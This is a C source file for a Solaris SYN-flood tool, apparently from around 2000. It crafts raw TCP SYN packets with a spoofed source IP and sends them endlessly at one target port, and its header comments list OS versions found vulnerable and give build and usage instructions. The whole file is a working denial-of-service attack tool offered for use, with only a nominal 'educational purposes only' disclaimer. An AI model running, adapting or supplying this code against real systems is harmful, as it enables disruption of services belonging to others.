/* Syn Attack against a port for Solaris               [2000]*/
/* Original land attack, land.c by m3lt, FLC           [2000]*/
/* Ported to 44BSD by blast and jerm                   [2000]*/
/* Ported to Solaris by ziro antagonist                [2000]*/
/* Referenced flood.c by unknown author                [2000]*/
/* Converted into a syn attack against one port by CRG [2000]*/
/* Please use this for educational purposes only       [2000]*/
/* Compiles on Solaris gcc -o synsol synsol.c -lsocket -lnsl */
/* Additional notes:                                   [2000]*/
/* Successfully compiled on Solaris 2.51 and 2.6       [2000]*/
/* Runs: synsol <dstIP> <dstPort> <spoofedsrcIP>       [2000]*/
/*                                                     [2000]*/
/* Tested it on: Solaris 2.6                           [2000]*/
/*                                                     [2000]*/
/* Attacked against:                                   [2000]*/
/*        Linux 2.0.33    - vulnerable                 [2000]*/
/*        Linux 2.0.30    - vulnerable                 [2000]*/
/*        Linux 1.2.13    - vulnerable                 [2000]*/
/*        Solaris 2.4     - vulnerable                 [2000]*/
/*        Solaris 2.5.1   - vulnerable                 [2000]*/
/*        SunOS 4.1.3_U3  - vulnerable                 [2000]*/
/*        Solaris 2.6     - not vulnerable             [2000]*/
/*                                                     [2000]*/
/* Most of these test machines are not patched because they  */
/* are in test lab. I tested the program against port 23 and */
/* every once in awhile I did get through.             [2000]*/
/*                                                     [2000]*/
/* Direct any comments, questions, improvements to     [2000]*/
/* packetstorm@genocide2600.com                        [2000]*/
/* http://www.genocide2600.com/~tattooman/             [2000]*/
/* Your emails will be forwarded to the author, who wishes   */
/* to remain known only as CRG (no email addy or URL)  [2000]*/

#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <netinet/ip_icmp.h>
#include <ctype.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>

unsigned long srcport;


struct pseudohdr
  {
    struct in_addr saddr;
    struct in_addr daddr;
    u_char zero;
    u_char protocol;
    u_short length;
    struct tcphdr tcpheader;
  };

u_short checksum(u_short * data,u_short length)
{
  int nleft = length;
  int sum=0;
  unsigned short *w = data;
  unsigned short value = 0;

  while (nleft > 1)
    {
      sum += *w++;
      nleft -= 2;
    }

  if (nleft == 1)
    {
      *(unsigned char *) (&value) = *(unsigned char *) w;
      sum += value;
    }
  sum = (sum >>16) + (sum & 0xffff);
  sum += (sum >> 16);
  value = ~sum;
  return(value);
}


int main(int argc,char * * argv)
{
  struct sockaddr_in sin;
  struct sockaddr_in din;
  struct hostent * hoste;
  struct hostent * host1;
  int j,sock,foo, flooddot=1;
  char buffer[40];
  struct ip * ipheader=(struct ip *) buffer;
  struct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct ip));
  struct pseudohdr pseudoheader;

  fprintf(stderr,"Syn attack against one port.(Infinite)\n");

  if(argc<4)
    {
      fprintf(stderr,"usage: %s <dstIP> <dstport> <spoofed-srcIP>\n",argv[0]);
      return(-1);
    }

  fprintf(stderr,"%s:%s is being syn'd attacked by %s.\n",argv[1],argv[2],argv[3]);
  bzero(&sin,sizeof(struct sockaddr_in)); /*write sizeof to &sin*/
  sin.sin_family=AF_INET;

  if((host1=gethostbyname(argv[3]))!=NULL)
    bcopy(host1->h_addr,&din.sin_addr,host1->h_length);
  else if((din.sin_addr.s_addr=inet_addr(argv[3]))==-1)
    {
      fprintf(stderr,"unknown source host %s\n",argv[3]);
      return(-1);
    }
  if((hoste=gethostbyname(argv[1]))!=NULL)
    bcopy(hoste->h_addr,&sin.sin_addr,hoste->h_length);
  else if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1)
    {
      fprintf(stderr,"unknown destination host %s\n",argv[1]);
      return(-1);
    }

  if((sin.sin_port=htons(atoi(argv[2])))==0)
    {
      fprintf(stderr,"unknown port %s\n",argv[2]);
      return(-1);
    }


  if((sock=socket(AF_INET,SOCK_RAW,255))==-1)
    {
      fprintf(stderr,"couldn't allocate raw socket\n");
      return(-1);
    }

  foo=1;
  if(setsockopt(sock,0,IP_HDRINCL,(char *)&foo,sizeof(int))==-1)
    {
      fprintf(stderr,"couldn't set raw header on socket\n");
      return(-1);
    }
  for(j=1;j>0;j++)
    {
      bzero(&buffer,sizeof(struct ip)+sizeof(struct tcphdr));

      ipheader->ip_v=4;
      ipheader->ip_tos=0;
      ipheader->ip_hl=sizeof(struct ip)/4;
      ipheader->ip_len=sizeof(struct ip)+sizeof(struct tcphdr);
      ipheader->ip_id=htons(random());
      ipheader->ip_ttl=30; /*255;*/
      ipheader->ip_p=IPPROTO_TCP;
      ipheader->ip_sum=0;
      ipheader->ip_src=din.sin_addr;
      ipheader->ip_dst=sin.sin_addr;

      tcpheader->th_sport=htons(srcport); /*sin.sin_port;*/
      tcpheader->th_dport=sin.sin_port;
      tcpheader->th_seq=htonl(0x28374839);
      tcpheader->th_flags=TH_SYN;
      tcpheader->th_off=sizeof(struct tcphdr)/4;
      tcpheader->th_win=htons(2048);
      tcpheader->th_sum=0;

      bzero(&pseudoheader,12+sizeof(struct tcphdr));
      pseudoheader.saddr.s_addr=din.sin_addr.s_addr;
      pseudoheader.daddr.s_addr=sin.sin_addr.s_addr;
      pseudoheader.protocol=6;
      pseudoheader.length=htons(sizeof(struct tcphdr));
      bcopy((char *) tcpheader,(char *) &pseudoheader.tcpheader,sizeof(struct tcphdr));
      tcpheader->th_sum=checksum((u_short *) &pseudoheader,12+sizeof(struct tcphdr));

      srcport= (10000.0*random()/(15000+1.0));
      if(sendto(sock,buffer,sizeof(struct ip)+sizeof(struct tcphdr),0,(struct sockaddr *) &sin,sizeof(struct sockaddr_in))==-1)

        {
          fprintf(stderr,"couldn't send packet,%d\n",errno);
          return(-1);
        }

      usleep(2);

      if (!(flooddot = (flooddot+1)%(1)))
        {
          fprintf(stdout,".");
          fflush(stdout);
        }


    }  /*The end of the infinite loop*/
  close(sock);
  return(0);
}